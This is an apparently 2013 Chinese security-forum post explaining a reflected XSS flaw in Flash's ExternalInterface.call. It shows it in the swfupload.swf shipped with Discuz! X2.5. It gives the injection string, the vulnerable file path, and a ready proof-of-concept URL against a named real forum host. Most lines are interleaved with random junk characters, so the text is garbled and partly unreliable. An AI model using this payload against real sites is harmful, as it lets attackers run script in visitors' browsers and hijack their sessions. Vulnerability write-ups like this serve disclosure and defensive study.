找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1956|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说
& i/ H9 w# `6 f( C2 z  a0 n: U5 ^; I! f* T; f; d" u. }
flash.external.ExternalInterface.call($methodName, $parameter)4 V: T9 I' W# u+ |1 ~" k# Z
在浏览器中执行的是: V6 x  q- n6 w* h
; |/ k& N* ?! X. {' s
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
5 m' E( v' Q; S! |4 ]( q, t/ U/ l对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: A- @' }: \$ W
8 m, N( i/ O7 S( d- B2 nflash.external.ExternalInterface.call("object."+$methodName, $parameter)
0 m- |% I1 m2 l9 Q$methodName = a())}catch(e){alert(/xss/)}//
( L. }2 m9 _+ d" O3 X结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
; B4 w$ C+ [% m" ~% }, D
5 B9 k( h2 p4 M4 t( ]9 g! z# P6 [try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; |& [1 g, g8 J% x# ]/ U/ r0 X7 [  w/ g7 Q/ g$ t; H
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
' V. l* \6 s" g$ Q+ ]杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
6 ^7 p" c( d9 a$ K, o: T4 b+ E9 ~) w' {' D0 K1 U7 ?
/ ^4 W- W( y6 W- Z8 T) a, c
4 D* Z" L% u0 \$ ^2 e( C3 N4 f: ?+ O
漏洞文件:upload\static\image\common\swfupload.swf  P" g, l8 ?) c# c/ Q$ j

& ~3 L3 k. D6 W2 ?) e2 }原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf' V% A) z- S& A  Z+ Z+ \
  ?" ]( l+ P- G3 ]
6 T+ n' O! O. a* `. S+ U' a% z5 a
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//  e) Q4 H; T) g2 m' x+ Z6 ?

( f/ @  l, f5 }) `; M/ e  q% |" W  K. ^0 [8 ?' c4 w
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表